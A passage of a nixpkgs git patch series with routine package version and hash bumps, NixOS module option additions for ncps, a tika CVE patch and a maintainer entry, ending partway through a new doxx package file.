+      versionRegex
+    ];
+  };
 
   passthru.tests =
     lib.optionalAttrs (lib.versionOlder version nss_latest.version) {
diff --git a/pkgs/development/libraries/nss/latest.nix b/pkgs/development/libraries/nss/latest.nix
index 45cd7960539f..5711746540b7 100644
--- a/pkgs/development/libraries/nss/latest.nix
+++ b/pkgs/development/libraries/nss/latest.nix
@@ -7,4 +7,6 @@
 import ./generic.nix {
   version = "3.115";
   hash = "sha256-8PeFeaIOtjBZJLBx3ONwZlK5SaLnjKEFoZWvVsu/3tA=";
+  filename = "latest.nix";
+  versionRegex = "NSS_(\\d+)_(\\d+)(?:_(\\d+))?_RTM";
 }
diff --git a/pkgs/development/libraries/nss/update.sh b/pkgs/development/libraries/nss/update.sh
deleted file mode 100755
index 600dbdff004c..000000000000
--- a/pkgs/development/libraries/nss/update.sh
+++ /dev/null
@@ -1,10 +0,0 @@
-#!/usr/bin/env nix-shell
-#!nix-shell -i bash -p curl gnugrep gnused coreutils common-updater-scripts
-
-set -x
-
-base_url="https://ftp.mozilla.org/pub/security/nss/releases/"
-
-version="$(curl -sSL ${base_url}  | grep 'RTM' | grep -v WITH_CKBI | sed 's|.*>\(NSS_[0-9]*_[0-9]*_*[0-9]*_*[0-9]*_RTM\)/.*|\1|g' | sed 's|NSS_||g' | sed 's|_RTM||g' | sed 's|_|.|g' | sort -V | tail -1)"
-hash="$(nix-hash --type sha256 --base32 ${base_url}/NSS_${version/\./_}_RTM/src/nss-${version}.tar.gz)"
-update-source-version nss "${version}" "${hash}"

From d0d639f7e9aa5ab235dbbe8b4cb704d91673d1ed Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Mon, 25 Aug 2025 23:56:41 +0200
Subject: [PATCH 4280/4511] nss_latest: 3.115 -> 3.115.1

https://github.com/nss-dev/nss/blob/master/doc/rst/releases/nss_3_115_1.rst
(cherry picked from commit a623867fd2aed070924d13505814eec634a9af3e)
---
 pkgs/development/libraries/nss/latest.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/libraries/nss/latest.nix b/pkgs/development/libraries/nss/latest.nix
index 5711746540b7..85caeb11d41c 100644
--- a/pkgs/development/libraries/nss/latest.nix
+++ b/pkgs/development/libraries/nss/latest.nix
@@ -5,8 +5,8 @@
 #       Example: nix-shell ./maintainers/scripts/update.nix --argstr package cacert
 
 import ./generic.nix {
-  version = "3.115";
-  hash = "sha256-8PeFeaIOtjBZJLBx3ONwZlK5SaLnjKEFoZWvVsu/3tA=";
+  version = "3.115.1";
+  hash = "sha256-SuXNqRW0lBPioYxmoGa3ZbfxC7ud6TW3xVpakVwtm14=";
   filename = "latest.nix";
   versionRegex = "NSS_(\\d+)_(\\d+)(?:_(\\d+))?_RTM";
 }

From 6639bebdc2393d60b61d1122f9cbaeb8e2ec8949 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Mon, 25 Aug 2025 23:56:59 +0200
Subject: [PATCH 4281/4511] nss_3_114: 3.114 -> 3.114.1

https://github.com/nss-dev/nss/blob/master/doc/rst/releases/nss_3_114_1.rst
(cherry picked from commit 324bee70162126c8c3ee60ce71fb74041f5ebc88)
---
 pkgs/development/libraries/nss/3_114.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/libraries/nss/3_114.nix b/pkgs/development/libraries/nss/3_114.nix
index 92b0671c8a79..af578ffeb2e4 100644
--- a/pkgs/development/libraries/nss/3_114.nix
+++ b/pkgs/development/libraries/nss/3_114.nix
@@ -1,6 +1,6 @@
 import ./generic.nix {
-  version = "3.114";
-  hash = "sha256-YVtXk1U9JtqfOH7+m/+bUI/yXJcydqjjGbCy/5xbMe8=";
+  version = "3.114.1";
+  hash = "sha256-xs7G5MHOd6mPVpBfDd2fFG2qw+5KypBTPqErbl0zfrk=";
   filename = "3_114.nix";
   versionRegex = "NSS_(3)_(114)(?:_(\\d+))?_RTM";
 }

From 1f3b0fd71802b41321422f6db32154b4e2e5844e Mon Sep 17 00:00:00 2001
From: Wael Nasreddine <wael.nasreddine@gmail.com>
Date: Sat, 30 Aug 2025 10:28:33 -0700
Subject: [PATCH 4282/4511] ncps: 0.2.0 -> 0.3.0

(cherry picked from commit 731e009454b5026807aa6ec2f8d007f35cf6518f)
---
 pkgs/by-name/nc/ncps/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/nc/ncps/package.nix b/pkgs/by-name/nc/ncps/package.nix
index 104e7f233942..910ed715dadf 100644
--- a/pkgs/by-name/nc/ncps/package.nix
+++ b/pkgs/by-name/nc/ncps/package.nix
@@ -8,13 +8,13 @@
 let
   finalAttrs = {
     pname = "ncps";
-    version = "0.2.0";
+    version = "0.3.0";
 
     src = fetchFromGitHub {
       owner = "kalbasit";
       repo = "ncps";
       tag = "v${finalAttrs.version}";
-      hash = "sha256-CjiPn5godd8lT3eE9e7MnZ0/2hOEq+CG0bpgRtLtwHo=";
+      hash = "sha256-mBiasGQgwP8dRQqtn7z+tLKECDd1p0JE2nvCYLru0Ts=";
     };
 
     ldflags = [
@@ -23,7 +23,7 @@ let
 
     subPackages = [ "." ];
 
-    vendorHash = "sha256-El3yvYYnase4ztG3u7xxcKE5ARy5Lvp/FVosBwOXzbU=";
+    vendorHash = "sha256-5QpzU+cy14cdR5Oi2vwA+BbMSTPMXlhyq9RpzbMsRZQ=";
     doCheck = true;
 
     nativeBuildInputs = [

From c684ea3f20508ecf461fc64d6c1ac85031556e3c Mon Sep 17 00:00:00 2001
From: Wael Nasreddine <wael.nasreddine@gmail.com>
Date: Sat, 30 Aug 2025 10:30:14 -0700
Subject: [PATCH 4283/4511] ncps: remove subPackages to build and check all
 sub-packages

(cherry picked from commit d211f7b57e290e3d8a0153ca09a0081290b911eb)
---
 pkgs/by-name/nc/ncps/package.nix | 2 --
 1 file changed, 2 deletions(-)

diff --git a/pkgs/by-name/nc/ncps/package.nix b/pkgs/by-name/nc/ncps/package.nix
index 910ed715dadf..58c49623c9cc 100644
--- a/pkgs/by-name/nc/ncps/package.nix
+++ b/pkgs/by-name/nc/ncps/package.nix
@@ -21,8 +21,6 @@ let
       "-X github.com/kalbasit/ncps/cmd.Version=v${finalAttrs.version}"
     ];
 
-    subPackages = [ "." ];
-
     vendorHash = "sha256-5QpzU+cy14cdR5Oi2vwA+BbMSTPMXlhyq9RpzbMsRZQ=";
     doCheck = true;
 

From b347afe9d99adc7d4ce3f0ee59614d26b090c15b Mon Sep 17 00:00:00 2001
From: Wael Nasreddine <wael.nasreddine@gmail.com>
Date: Sat, 30 Aug 2025 10:30:23 -0700
Subject: [PATCH 4284/4511] ncps: enable race testing

(cherry picked from commit d864ef8aff5948522f0fd9a2b42b7689cf370ba2)
---
 pkgs/by-name/nc/ncps/package.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/by-name/nc/ncps/package.nix b/pkgs/by-name/nc/ncps/package.nix
index 58c49623c9cc..640b305de913 100644
--- a/pkgs/by-name/nc/ncps/package.nix
+++ b/pkgs/by-name/nc/ncps/package.nix
@@ -22,7 +22,9 @@ let
     ];
 
     vendorHash = "sha256-5QpzU+cy14cdR5Oi2vwA+BbMSTPMXlhyq9RpzbMsRZQ=";
+
     doCheck = true;
+    checkFlags = [ "-race" ];
 
     nativeBuildInputs = [
       dbmate # used for testing

From 258e3e3bac906d93799657ada84b1fc83464eacc Mon Sep 17 00:00:00 2001
From: Wael Nasreddine <wael.nasreddine@gmail.com>
Date: Sat, 30 Aug 2025 10:49:12 -0700
Subject: [PATCH 4285/4511] ncps: Add support for the --prometheus-enabled flag

(cherry picked from commit a0817f37f23f077e53fe14bc5589bdeb00e558ab)
---
 nixos/modules/services/networking/ncps.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/nixos/modules/services/networking/ncps.nix b/nixos/modules/services/networking/ncps.nix
index d29a24445ae7..77d1a77c4889 100644
--- a/nixos/modules/services/networking/ncps.nix
+++ b/nixos/modules/services/networking/ncps.nix
@@ -27,6 +27,9 @@ let
         cfg.openTelemetry.grpcURL != null
       ) "--otel-grpc-url='${cfg.openTelemetry.grpcURL}'")
     ))
+    ++ (lib.optionals cfg.prometheus.enable [
+      "--prometheus-enabled"
+    ])
   );
 
   serveFlags = lib.concatStringsSep " " (
@@ -76,6 +79,8 @@ in
         };
       };
 
+      prometheus.enable = lib.mkEnableOption "Enable Prometheus metrics endpoint at /metrics";
+
       logLevel = lib.mkOption {
         type = lib.types.enum logLevels;
         default = "info";

From bb7c2bf89f6e955e3c75c39cad1f8bbd31b35ebb Mon Sep 17 00:00:00 2001
From: Wael Nasreddine <wael.nasreddine@gmail.com>
Date: Sat, 30 Aug 2025 10:50:44 -0700
Subject: [PATCH 4286/4511] ncps: Add support for the --cache-temp-path flag

(cherry picked from commit 414c23faccf416ff4995ca999de620597ab8c1c5)
---
 nixos/modules/services/networking/ncps.nix | 20 +++++++++++++++++++-
 1 file changed, 19 insertions(+), 1 deletion(-)

diff --git a/nixos/modules/services/networking/ncps.nix b/nixos/modules/services/networking/ncps.nix
index 77d1a77c4889..a9f16e022307 100644
--- a/nixos/modules/services/networking/ncps.nix
+++ b/nixos/modules/services/networking/ncps.nix
@@ -37,6 +37,7 @@ let
       "--cache-hostname='${cfg.cache.hostName}'"
       "--cache-data-path='${cfg.cache.dataPath}'"
       "--cache-database-url='${cfg.cache.databaseURL}'"
+      "--cache-temp-path='${cfg.cache.tempPath}'"
       "--server-addr='${cfg.server.addr}'"
     ]
     ++ (lib.optional cfg.cache.allowDeleteVerb "--cache-allow-delete-verb")
@@ -170,6 +171,14 @@ in
             empty to automatically generate a private/public key.
           '';
         };
+
+        tempPath = lib.mkOption {
+          type = lib.types.str;
+          default = "/tmp";
+          description = ''
+            The path to the temporary directory that is used by the cache to download NAR files
+          '';
+        };
       };
 
       server = {
@@ -219,7 +228,7 @@ in
     };
     users.groups.ncps = { };
 
-    systemd.services.ncps-create-datadirs = {
+    systemd.services.ncps-create-directories = {
       description = "Created required directories by ncps";
       serviceConfig = {
         Type = "oneshot";
@@ -237,6 +246,12 @@ in
             mkdir -p ${dbDir}
             chown ncps:ncps ${dbDir}
           fi
+        '')
+        + (lib.optionalString (cfg.cache.tempPath != "/tmp") ''
+          if ! test -d ${cfg.cache.tempPath}; then
+            mkdir -p ${cfg.cache.tempPath}
+            chown ncps:ncps ${cfg.cache.tempPath}
+          fi
         '');
       wantedBy = [ "ncps.service" ];
       before = [ "ncps.service" ];
@@ -278,6 +293,9 @@ in
         (lib.mkIf (isSqlite && !lib.strings.hasPrefix "/var/lib/ncps" dbDir) {
           ReadWritePaths = [ dbDir ];
         })
+        (lib.mkIf (cfg.cache.tempPath != "/tmp") {
+          ReadWritePaths = [ cfg.cache.tempPath ];
+        })
 
         # Hardening
         {

From 81fd3bcb18b9786440f9ca68bf9183479da2b710 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Thu, 4 Sep 2025 20:06:45 +0200
Subject: [PATCH 4287/4511] matrix-alertmanager-receiver: 2025.8.27 -> 2025.9.3

Release notes: https://github.com/metio/matrix-alertmanager-receiver/releases/tag/2025.9.3

(cherry picked from commit 4637f861a024cf4deb915a4a29013012b0accb14)
---
 pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix b/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix
index 9fc85eab1f96..f774c1a0e6f0 100644
--- a/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix
+++ b/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix
@@ -8,16 +8,16 @@
 
 buildGoModule (finalAttrs: {
   pname = "matrix-alertmanager-receiver";
-  version = "2025.8.27";
+  version = "2025.9.3";
 
   src = fetchFromGitHub {
     owner = "metio";
     repo = "matrix-alertmanager-receiver";
     tag = finalAttrs.version;
-    hash = "sha256-bJdJJM2Ok1fxMTM2JoZe0mBz3EB0py5ZQfk/7FqfCI0=";
+    hash = "sha256-RCWQNUZ8ZsGzsjTyqyr2O814qqV6eTumvLU6tvwi7vU=";
   };
 
-  vendorHash = "sha256-efnLovSd9oC5MO1DTs30GBNDY+r2Q1uD8dCdRqnVhCY=";
+  vendorHash = "sha256-xkRL0Cq7vXG3dQeyw0IK74xwRiyC89hvB/2BEGQHCN0=";
 
   env.CGO_ENABLED = "0";
 

From 3261432fe3ac35edfcd32c4d2873096ca00eab69 Mon Sep 17 00:00:00 2001
From: John Titor <50095635+JohnRTitor@users.noreply.github.com>
Date: Thu, 4 Sep 2025 01:58:23 +0530
Subject: [PATCH 4288/4511] google-chrome: 139.0.7258.154 -> 140.0.7339.80

Darwin google-chrome: 139.0.7258.155 -> 140.0.7339.81

https://developer.chrome.com/blog/new-in-chrome-140

https://developer.chrome.com/release-notes/140

https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop.html
(cherry picked from commit e040850a7d346e2604a9cbd68208d6818c033334)
---
 pkgs/by-name/go/google-chrome/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/go/google-chrome/package.nix b/pkgs/by-name/go/google-chrome/package.nix
index 04f80e7a68b1..8fe9addc7736 100644
--- a/pkgs/by-name/go/google-chrome/package.nix
+++ b/pkgs/by-name/go/google-chrome/package.nix
@@ -170,11 +170,11 @@ let
 
   linux = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "139.0.7258.154";
+    version = "140.0.7339.80";
 
     src = fetchurl {
       url = "https://dl.google.com/linux/chrome/deb/pool/main/g/google-chrome-stable/google-chrome-stable_${finalAttrs.version}-1_amd64.deb";
-      hash = "sha256-6uEk4a5bVlsVNwW+ZHHBgTGmw/ArgrRQwKfLcSITt8o=";
+      hash = "sha256-9hNwMWUbtWsDvKc9hvfbI7PNVYm1L1mBLuXPlDzIG40=";
     };
 
     # With strictDeps on, some shebangs were not being patched correctly
@@ -275,11 +275,11 @@ let
 
   darwin = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "139.0.7258.155";
+    version = "140.0.7339.81";
 
     src = fetchurl {
-      url = "http://dl.google.com/release2/chrome/gzhmrqghx4b6bwhn7ck3vb2h5y_139.0.7258.155/GoogleChrome-139.0.7258.155.dmg";
-      hash = "sha256-k8kbSLD7K4AuuZlPYavjEyL+4Cbx3geYCghLfaf5o2E=";
+      url = "http://dl.google.com/release2/chrome/ockuail56dwhuxixexwh6zhrhm_140.0.7339.81/GoogleChrome-140.0.7339.81.dmg";
+      hash = "sha256-81TTdxKGHzLgSXSY2TVxY8JEjFZ6FZOhq3UuGvC0XAE=";
     };
 
     dontPatch = true;

From c704772a52b9ca01d05af4ecb19a69aea567e46c Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Sat, 30 Aug 2025 14:05:31 +0200
Subject: [PATCH 4289/4511] udisks2: 2.10.1 -> 2.10.2

https://github.com/storaged-project/udisks/blob/udisks-2.10.2/NEWS
https://github.com/storaged-project/udisks/security/advisories/GHSA-742q-gggc-473g
https://www.openwall.com/lists/oss-security/2025/08/28/1

Fixes: CVE-2025-8067
(cherry picked from commit d481e1f4aa69d1f47a2a9e5e42069b26f64fc7c1)
---
 pkgs/os-specific/linux/udisks/2-default.nix | 12 ++----------
 1 file changed, 2 insertions(+), 10 deletions(-)

diff --git a/pkgs/os-specific/linux/udisks/2-default.nix b/pkgs/os-specific/linux/udisks/2-default.nix
index ff902e215830..d51adac1aad8 100644
--- a/pkgs/os-specific/linux/udisks/2-default.nix
+++ b/pkgs/os-specific/linux/udisks/2-default.nix
@@ -2,7 +2,6 @@
   lib,
   stdenv,
   fetchFromGitHub,
-  fetchpatch,
   replaceVars,
   pkg-config,
   gnused,
@@ -40,13 +39,13 @@
 
 stdenv.mkDerivation rec {
   pname = "udisks";
-  version = "2.10.1";
+  version = "2.10.2";
 
   src = fetchFromGitHub {
     owner = "storaged-project";
     repo = "udisks";
     rev = "${pname}-${version}";
-    sha256 = "sha256-L8jr1+SJWsCizkPXC8VKDy2eVa7/FpqdB8SkBYq6vwc=";
+    sha256 = "sha256-W0vZY6tYxAJbqxNF3F6F6J6h6XxLT+Fon+LqR6jwFUQ=";
   };
 
   outputs = [
@@ -80,13 +79,6 @@ stdenv.mkDerivation rec {
         util-linux
       ];
     })
-
-    # CVE-2025-6019: https://www.openwall.com/lists/oss-security/2025/06/17/5
-    (fetchpatch {
-      name = "CVE-2025-6019-2.patch";
-      url = "https://www.openwall.com/lists/oss-security/2025/06/17/5/2";
-      hash = "sha256-pgTA6yxQ1o9OU3qBeV1lh2O6mBkaUcc9md4uwFwz+AM=";
-    })
   ];
 
   strictDeps = true;

From dfbd1caecaf0583ec728fc90cb806b11a6faccef Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Thu, 21 Aug 2025 12:41:51 +0200
Subject: [PATCH 4290/4511] tika: apply patch for CVE-2025-54988

https://www.openwall.com/lists/oss-security/2025/08/20/3
(cherry picked from commit f707d8b65e702f55d2821df47d89355a860f2d5d)
---
 pkgs/by-name/ti/tika/package.nix | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/pkgs/by-name/ti/tika/package.nix b/pkgs/by-name/ti/tika/package.nix
index cbd1309bfbba..7de896b7f477 100644
--- a/pkgs/by-name/ti/tika/package.nix
+++ b/pkgs/by-name/ti/tika/package.nix
@@ -5,6 +5,7 @@
   jdk17,
   jre17_minimal,
   fetchFromGitHub,
+  fetchpatch,
   makeWrapper,
   mvnDepsHash ? null,
   enableGui ? true,
@@ -49,6 +50,14 @@ maven.buildMavenPackage rec {
     hash = "sha256-nuiE+MWJNA4PLprAC0vDBadk34TFsVEDBcCZct1XRxo=";
   };
 
+  patches = [
+    (fetchpatch {
+      name = "CVE-2025-54988.patch";
+      url = "https://github.com/apache/tika/commit/bfee6d5569fe9197c4ea947a96e212825184ca33.patch";
+      hash = "sha256-LHM2SafZ85f53mWWSbA4ZQ/QSiDeiwNnzAbLGqGQqPM=";
+    })
+  ];
+
   buildOffline = true;
 
   manualMvnArtifacts = [

From 368727ae6be162eb2a4b50b8ecb1fdca5f49977b Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 5 Sep 2025 09:30:24 +0200
Subject: [PATCH 4291/4511] haskell.packages.native-bignum: exclude
 recurseForDerivations

This was accidentally introduced when it was added to
`haskell.compiler`. This code is a bit odd, because it iterates through
the compiler attributes and then tries to access the same name in
packages, which fails in this case.

Seems like this was just a copy-paste error, this should iterate through
packages instead.

(cherry picked from commit 07cb32debe7052211fa60aa6bb2f991f57b7c626)
---
 pkgs/top-level/haskell-packages.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/top-level/haskell-packages.nix b/pkgs/top-level/haskell-packages.nix
index 426da4082ba6..2b33b1c74163 100644
--- a/pkgs/top-level/haskell-packages.nix
+++ b/pkgs/top-level/haskell-packages.nix
@@ -675,7 +675,7 @@ in
       native-bignum =
         let
           nativeBignumGhcNames = pkgs.lib.filter (name: !(builtins.elem name nativeBignumExcludes)) (
-            pkgs.lib.attrNames compiler
+            pkgs.lib.attrNames packages
           );
         in
         pkgs.lib.genAttrs nativeBignumGhcNames (

From c16cbd4282396f9afd3f748f96537e8a7f804f82 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 5 Sep 2025 09:30:54 +0200
Subject: [PATCH 4292/4511] haskell.packages.integer-simple: remove unused
 includes

These versions were dropped from Nixpkgs already.

(cherry picked from commit 2f336e2a073df0f60e56f68b49f0301de8683975)
---
 pkgs/top-level/haskell-packages.nix | 2 --
 1 file changed, 2 deletions(-)

diff --git a/pkgs/top-level/haskell-packages.nix b/pkgs/top-level/haskell-packages.nix
index 2b33b1c74163..4434bc6dccfc 100644
--- a/pkgs/top-level/haskell-packages.nix
+++ b/pkgs/top-level/haskell-packages.nix
@@ -10,8 +10,6 @@
 let
   # These are attributes in compiler that support integer-simple.
   integerSimpleIncludes = [
-    "ghc88"
-    "ghc884"
     "ghc810"
     "ghc8107"
   ];

From 2874a9a46943760ca11520b56b15b6144f2a95bb Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Sat, 17 May 2025 14:52:27 +0200
Subject: [PATCH 4293/4511] python313Packages.deepdiff: 8.4.1 -> 8.5.0

https://github.com/seperman/deepdiff/blob/8.5.0/CHANGELOG.md
(cherry picked from commit 8e706436324e49ca9f24a51c87edfed3e3285f8f)
---
 pkgs/development/python-modules/deepdiff/default.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/development/python-modules/deepdiff/default.nix b/pkgs/development/python-modules/deepdiff/default.nix
index 15802868c5d9..7a38d9f02ce0 100644
--- a/pkgs/development/python-modules/deepdiff/default.nix
+++ b/pkgs/development/python-modules/deepdiff/default.nix
@@ -5,7 +5,7 @@
   stdenv,
 
   # build-system
-  setuptools,
+  flit-core,
 
   # dependencies
   orderly-set,
@@ -27,18 +27,18 @@
 
 buildPythonPackage rec {
   pname = "deepdiff";
-  version = "8.4.1";
+  version = "8.5.0";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "seperman";
     repo = "deepdiff";
     tag = version;
-    hash = "sha256-RXr+6DLzhnuow9JNqqnNmuehE89eOY4oYn4tw4VSI+A=";
+    hash = "sha256-JIxlWy2uVpI98BmpH2+EyOxfYBoO2G2S0D9krduVo08=";
   };
 
   build-system = [
-    setuptools
+    flit-core
   ];
 
   dependencies = [

From 2e735c8243a4f737911d86e35c0f2b1fe7c4aaec Mon Sep 17 00:00:00 2001
From: Diogo Correia <me@diogotc.com>
Date: Thu, 4 Sep 2025 11:44:58 +0100
Subject: [PATCH 4294/4511] python3Packages.deepdiff: 8.5.0 -> 8.6.1

(cherry picked from commit 5a193723a41caf2b1c156b1906a18621f361f46e)
---
 pkgs/development/python-modules/deepdiff/default.nix | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/pkgs/development/python-modules/deepdiff/default.nix b/pkgs/development/python-modules/deepdiff/default.nix
index 7a38d9f02ce0..94428d5daa3b 100644
--- a/pkgs/development/python-modules/deepdiff/default.nix
+++ b/pkgs/development/python-modules/deepdiff/default.nix
@@ -20,21 +20,23 @@
   numpy,
   pytestCheckHook,
   python-dateutil,
+  pydantic,
   tomli-w,
   polars,
   pandas,
+  uuid6,
 }:
 
 buildPythonPackage rec {
   pname = "deepdiff";
-  version = "8.5.0";
+  version = "8.6.1";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "seperman";
     repo = "deepdiff";
     tag = version;
-    hash = "sha256-JIxlWy2uVpI98BmpH2+EyOxfYBoO2G2S0D9krduVo08=";
+    hash = "sha256-1DB1OgIS/TSMd+Pqd2vvW+qwM/b5+Dy3qStlg+asidE=";
   };
 
   build-system = [
@@ -60,16 +62,15 @@ buildPythonPackage rec {
     numpy
     pytestCheckHook
     python-dateutil
+    pydantic
     tomli-w
     polars
     pandas
+    uuid6
   ]
   ++ lib.flatten (lib.attrValues optional-dependencies);
 
   disabledTests = [
-    # not compatible with pydantic 2.x
-    "test_pydantic1"
-    "test_pydantic2"
     # Require pytest-benchmark
     "test_cache_deeply_nested_a1"
     "test_lfu"

From 1dbb508308348048d37b818667723ef9ff418e56 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Fri, 5 Sep 2025 08:52:18 +0200
Subject: [PATCH 4295/4511] linux_xanmod: 6.12.44 -> 6.12.45

(cherry picked from commit e878878314984810c501b37db54a18811cdf3194)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index fb3e56b5906b..f84bd83496c5 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -15,8 +15,8 @@ let
   variants = {
     # ./update-xanmod.sh lts
     lts = {
-      version = "6.12.44";
-      hash = "sha256-wyT7vXrXVKYISDpm2QLKdmGCx2zQWUusYT6WzGgiiHw=";
+      version = "6.12.45";
+      hash = "sha256-JyRmRdSkskD3LHvaCUNZJOKEXNML4WRbUDN3+dVn4Kk=";
       isLTS = true;
     };
     # ./update-xanmod.sh main

From 594220ffd60cf1ed622940099ac4e769b960d245 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Fri, 5 Sep 2025 08:56:22 +0200
Subject: [PATCH 4296/4511] linux_xanmod_latest: 6.16.4 -> 6.16.5

(cherry picked from commit 42b16c76e720b42a7be102b7d421615f416de7a5)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index f84bd83496c5..809b3447b5f8 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -21,8 +21,8 @@ let
     };
     # ./update-xanmod.sh main
     main = {
-      version = "6.16.4";
-      hash = "sha256-CWsGKAID9j24H5oDqlKPToKzl+1Y43F2DmGkc7b2YIg=";
+      version = "6.16.5";
+      hash = "sha256-XQ1blzX1sR7et0qKu+voKDKefjYLYZwHPFo7RbFYekg=";
     };
   };
 

From 94a37bd8dbde37d9fe2de3e050cbb826cb93fa5f Mon Sep 17 00:00:00 2001
From: Daniel Beecham <daniel@beecham.se>
Date: Fri, 5 Sep 2025 10:30:05 +0200
Subject: [PATCH 4297/4511] warp-terminal: 0.2025.08.27.08.11.stable_04 ->
 0.2025.09.03.08.11.stable_03

Changelog: https://docs.warp.dev/getting-started/changelog#id-2025.09.03-v0.2025.09.03.08.11
(cherry picked from commit 2221d387458f7b1bb836b9992e68444491045ba4)
---
 pkgs/by-name/wa/warp-terminal/versions.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/wa/warp-terminal/versions.json b/pkgs/by-name/wa/warp-terminal/versions.json
index 5b82bf2517f7..07726c2c2866 100644
--- a/pkgs/by-name/wa/warp-terminal/versions.json
+++ b/pkgs/by-name/wa/warp-terminal/versions.json
@@ -1,14 +1,14 @@
 {
   "darwin": {
-    "hash": "sha256-RCe7St5HGDJS5+O5gmetu55/6F59pu4rs9JnYP7CUpQ=",
-    "version": "0.2025.08.27.08.11.stable_04"
+    "hash": "sha256-P3BKkOaT1k6OUJV65nF5UAVWFcDiAUfdaLpT9zuU8AM=",
+    "version": "0.2025.09.03.08.11.stable_03"
   },
   "linux_x86_64": {
-    "hash": "sha256-HyjretExpf4mfhTFRP5iCbXtubHxnzjXOvnZkHPvRzY=",
-    "version": "0.2025.08.27.08.11.stable_04"
+    "hash": "sha256-V1eDS7SQf4oJLiW9OroT9QKPryQWutXhILAlb7124ks=",
+    "version": "0.2025.09.03.08.11.stable_03"
   },
   "linux_aarch64": {
-    "hash": "sha256-XujRlhETOrFv+EmwGFrtZnyfD68vuNRVb7qovmJEOxk=",
-    "version": "0.2025.08.27.08.11.stable_04"
+    "hash": "sha256-pMYrBdHSgS4wZ9EX4Hj5NFiIz+V7CAWA4x33g5aZfLY=",
+    "version": "0.2025.09.03.08.11.stable_03"
   }
 }

From c7b9a2db1d20aa78fc2aac2868507f76c3dbf73e Mon Sep 17 00:00:00 2001
From: Yiyu Zhou <yiyuzhou19@gmail.com>
Date: Thu, 3 Jul 2025 23:04:15 -0700
Subject: [PATCH 4298/4511] maintainers: add yiyu

(cherry picked from commit a370573342456896cfb393d89e2edb510a93fb5e)
---
 maintainers/maintainer-list.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 6a9a6b717480..20cb81b6c184 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -27115,6 +27115,12 @@
     github = "YisuiDenghua";
     githubId = 102890144;
   };
+  yiyu = {
+    email = "yiyuzhou19@gmail.com";
+    name = "Yiyu Zhou";
+    github = "yzhou216";
+    githubId = 50000936;
+  };
   yl3dy = {
     email = "aleksandr.kiselyov@gmail.com";
     github = "yl3dy";

From 3f446bcc494b0cc9e9eaed2a58b7398341211ca2 Mon Sep 17 00:00:00 2001
From: Yiyu Zhou <yiyuzhou19@gmail.com>
Date: Fri, 5 Sep 2025 11:40:28 +0000
Subject: [PATCH 4299/4511] doxx: init at 0-unstable-2025-08-18 (#434616)

Co-authored-by: kirillrdy <kirillrdy@gmail.com>
(cherry picked from commit c9a3a473d50be544ab2496d87daab916fb2d35ca)
---
 pkgs/by-name/do/doxx/package.nix | 42 ++++++++++++++++++++++++++++++++
 1 file changed, 42 insertions(+)
 create mode 100644 pkgs/by-name/do/doxx/package.nix

diff --git a/pkgs/by-name/do/doxx/package.nix b/pkgs/by-name/do/doxx/package.nix
new file mode 100644
index 000000000000..d9d25fa6824f
--- /dev/null
+++ b/pkgs/by-name/do/doxx/package.nix
@@ -0,0 +1,42 @@
+{
+  lib,
+  rustPlatform,
+  fetchFromGitHub,
